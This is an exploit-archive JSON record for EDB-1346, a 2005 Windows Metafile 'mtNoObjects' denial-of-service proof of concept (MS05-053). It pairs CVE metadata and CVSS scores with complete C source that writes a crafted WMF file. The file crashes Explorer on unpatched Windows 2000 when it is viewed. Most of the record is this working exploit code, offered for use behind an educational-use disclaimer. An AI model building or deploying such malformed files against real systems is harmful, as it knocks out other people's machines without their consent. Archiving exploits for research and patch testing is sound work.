{"exploit":{"id":"EDB-1346","name":"Microsoft Windows Metafile - 'mtNoObjects' Denial of Service (DoS) (MS05-053)","description":"Microsoft Windows Metafile - 'mtNoObjects' Denial of Service (DoS) (MS05-053)","cves":["CVE-2005-2124","CVE-2005-2123","CVE-2005-0803"],"author":"Winny Thomas","published":"2005-11-30","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1346","path":"exploits/windows/dos/1346.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1346.c","vulnerabilities":[{"id":"CVE-2005-2124","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Graphics Rendering Engine (GDI32.DLL) in Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1, related to \"An unchecked buffer\" and possibly buffer overflows, allows remote attackers to execute arbitrary code via a crafted Windows Metafile (WMF) format image, aka \"Windows Metafile Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-2124","cvss":{"version":"2.0","baseScore":7.6,"severity":"high","vectorString":"AV:N/AC:H/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-2124"},"updatedAt":"2024-08-07T22:15:37.432Z","retrievedAt":"2026-11-27T06:22:09.178Z","stale":false,"error":null},{"id":"CVE-2005-2123","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple integer overflows in the Graphics Rendering Engine (GDI32.DLL) in Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1 allow remote attackers to execute arbitrary code via crafted Windows Metafile (WMF) and Enhanced Metafile (EMF) format images that lead to heap-based buffer overflows, as demonstrated using MRBP16::bCheckRecord.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-2123","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-2123"},"updatedAt":"2024-08-07T22:15:37.399Z","retrievedAt":"2026-11-27T06:08:53.069Z","stale":false,"error":null},{"id":"CVE-2005-0803","state":"PUBLISHED","title":null,"titleSource":null,"description":"The GetEnhMetaFilePaletteEntries API in GDI32.DLL in Windows 2000 allows remote attackers to cause a denial of service (application crash) via a crafted Enhanced Metafile (EMF) file that causes invalid (1) end, (2) emreof, or (3) palent offsets to be used, aka \"Enhanced Metafile Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0803","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0803"},"updatedAt":"2024-08-07T21:28:27.949Z","retrievedAt":"2026-11-27T06:22:15.714Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1346.png?v=2","url":"https://exploitbin.com/exploits/EDB-1346","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1346/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1346/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * Author: Winny Thomas\n *         Pune, INDIA\n *\n * The crafted metafile (WMF) from this code when viewed in explorer crashes it. The issue is seen\n * when the field 'mtNoObjects' in the Metafile header is set to 0x0000.\n * The code was tested on Windows 2000 server SP4. The issue does not occur with the\n * hotfix for GDI (MS05-053) installed.\n *\n * Disclaimer: This code is for educational/testing purposes by authorized persons on\n * networks/systems setup for such a purpose. The author of this code shall not bear\n * any responsibility for any damage caused by using this code.\n *\n */\n\n#include <stdio.h>\n\nunsigned char wmfheader[] =\n\"\\xd7\\xcd\\xc6\\x9a\\x00\\x00\\xc6\\xfb\\xca\\x02\\xaa\\x02\\x39\\x09\\xe8\\x03\"\n\"\\x00\\x00\\x00\\x00\\x66\\xa6\"\n\"\\x01\\x00\"\t   //mtType\n\"\\x09\\x00\"\t   //mtHeaderSize\n\"\\x00\\x03\"\t   //mtVersion\n\"\\xff\\xff\\xff\\x7f\" //mtSize\n\"\\x00\\x00\"\t   //mtNoObjects\n\"\\xff\\xff\\xff\\xff\" //mtMaxRecord\n\"\\x00\\x00\";\n\nunsigned char metafileRECORD[] =\n\"\\x05\\x00\\x00\\x00\\x0b\\x02\\x39\\x09\\xc6\\xfb\\x05\\x00\\x00\\x00\\x0c\\x02\"\n\"\\x91\\xf9\\xe4\\x06\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x07\\x00\\x00\\x00\"\n\"\\xfc\\x02\\x00\\x00\\x0e\\x0d\\x0d\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\"\n\"\\x00\\x00\\x08\\x00\\x00\\x00\\xfa\\x02\"\n\"\\x05\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\"\n\"\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x14\\x00\\x00\\x00\\x24\\x03\"\n\"\\x08\\x00\\xc6\\xfb\\xca\\x02\\xbc\\xfe\\xca\\x02\\x0f\\x01\\x49\\x06\\xa5\\x02\"\n\"\\x49\\x06\\xf4\\x00\\x68\\x08\\xd5\\xfc\\x65\\x06\\x86\\xfe\\x65\\x06\\xc6\\xfb\"\n\"\\xca\\x02\\x08\\x00\\x00\\x00\\xfa\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x02\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\"\n\"\\x00\\x00\\xff\\xff\\xff\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\"\n\"\\x04\\x00\\x00\\x00\\xf0\\x01\\x00\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\"\n\"\\xbd\\x34\\x30\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\"\n\"\\x00\\x00\\x2d\\x01\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x0e\\x00\"\n\"\\x00\\x00\\x24\\x03\\x05\\x00\\xd5\\xfc\\x36\\x07\\xda\\xfc\\xd1\\x06\\x8b\\xfe\"\n\"\\xd1\\x06\\x86\\xfe\\x36\\x07\\xd5\\xfc\\x36\\x07\\x04\\x00\\x00\\x00\\x2d\\x01\"\n\"\\x02\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\\x00\\x00\\xf0\\x01\"\n\"\\x00\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\\xbd\\x34\\x30\\x00\\x00\\x00\"\n\"\\x04\\x00\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x01\\x00\"\n\"\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x0e\\x00\\x00\\x00\\x24\\x03\\x05\\x00\"\n\"\\xc6\\xfb\\x9b\\x03\\xcb\\xfb\\x36\\x03\\xc1\\xfe\\x36\\x03\\xbc\\xfe\\x9b\\x03\"\n\"\\xc6\\xfb\\x9b\\x03\\x04\\x00\\x00\\x00\\x2d\\x01\\x02\\x00\\x04\\x00\\x00\\x00\"\n\"\\x2d\\x01\\x03\\x00\\x04\\x00\\x00\\x00\\xf0\\x01\\x00\\x00\\x07\\x00\\x00\\x00\"\n\"\\xfc\\x02\\x00\\x00\\xfb\\x4e\\x55\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\"\n\"\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\"\n\"\\x01\\x00\\x0e\\x00\\x00\\x00\\x24\\x03\\x05\\x00\\xbc\\xfe\\x9b\\x03\\xc1\\xfe\"\n\"\\x36\\x03\\x14\\x01\\xb5\\x06\\x0f\\x01\\x1a\\x07\\xbc\\xfe\\x9b\\x03\\x04\\x00\"\n\"\\x00\\x00\\x2d\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\"\n\"\\x00\\x00\\xf0\\x01\\x00\\x00\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\\xbd\\x34\"\n\"\\x30\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\\x00\\x00\"\n\"\\x2d\\x01\\x01\\x00\\x04\\x00\\x00\\x00\\x06\\x01\\x01\\x00\\x0e\\x00\\x00\\x00\"\n\"\\x24\\x03\\x05\\x00\\x0f\\x01\\x1a\\x07\\x14\\x01\\xb5\\x06\\xaa\\x02\\xb5\\x06\"\n\"\\xa5\\x02\\x1a\\x07\\x0f\\x01\\x1a\\x07\\x04\\x00\\x00\\x00\\x2d\\x01\\x02\\x00\"\n\"\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\\x00\\x00\\xf0\\x01\\x00\\x00\"\n\"\\x07\\x00\\x00\\x00\\xfc\\x02\\x00\\x00\\xfa\\x94\\x93\\x00\\x00\\x00\\x04\\x00\"\n\"\\x00\\x00\\x2d\\x01\\x00\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x01\\x00\\x04\\x00\"\n\"\\x00\\x00\\x06\\x01\\x01\\x00\\x14\\x00\\x00\\x00\\x24\\x03\\x08\\x00\\xc6\\xfb\"\n\"\\x9b\\x03\\xbc\\xfe\\x9b\\x03\\x0f\\x01\\x1a\\x07\\xa5\\x02\\x1a\\x07\\xf4\\x00\"\n\"\\x39\\x09\\xd5\\xfc\\x36\\x07\\x86\\xfe\\x36\\x07\\xc6\\xfb\\x9b\\x03\\x04\\x00\"\n\"\\x00\\x00\\x2d\\x01\\x02\\x00\\x04\\x00\\x00\\x00\\x2d\\x01\\x03\\x00\\x04\\x00\"\n\"\\x00\\x00\\xf0\\x01\\x00\\x00\\x03\\x00\";\n\nunsigned char wmfeof[] =\n\"\\x00\\x00\\x00\\x00\";\n\nint main(int argc, char *argv[])\n{\n\tFILE *fp;\n\tint metafilesizeW, recordsizeW;\n\tchar wmfbuf[2048];\n\tint metafilesize, recordsize, i, j;\n\n\tmetafilesize = sizeof (wmfheader) + sizeof (metafileRECORD) + sizeof(wmfeof) -3;\n\tmetafilesizeW = metafilesize/2;\n\trecordsize = sizeof (metafileRECORD) -1;\n\trecordsizeW = recordsize/2;\n\n\tmemcpy((unsigned long *)&wmfheader[28], &metafilesize, 4);\n\tmemcpy((unsigned long *)&wmfheader[34], &recordsizeW, 4);\n\n\tprintf(\"[*] Adding Metafile header\\n\");\n\tfor (i = 0; i < sizeof(wmfheader) -1; i++) {\n\t\t(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];\n\t}\n\n\tprintf(\"[*] Adding metafile records\\n\");\n\tfor (j = i, i = 0; i < sizeof(metafileRECORD) -1; i++, j++) {\n\t\twmfbuf[j] = metafileRECORD[i];\n\t}\n\n\tprintf(\"[*] Setting EOF\\n\");\n\tfor (i = 0; i < sizeof(wmfeof) -1; i++, j++) {\n\t\twmfbuf[j] = wmfeof[i];\n\t}\n\n\tprintf(\"[*] Creating Metafile (MS053.wmf)\\n\");\n\tfp = fopen(\"MS053.wmf\", \"wb\");\n\tfwrite(wmfbuf, 1, metafilesize, fp);\n\tfclose(fp);\n}\n\n// milw0rm.com [2005-11-30]","sha256":"c1aeb1790a61cf0e7f89edf413a8d8743f474ec9502dc6c525f2674da50e0c0d","bytes":4685,"fetchedAt":"2026-11-27T06:08:48.908Z","encoding":"utf-8 (display only; download retains original bytes)"}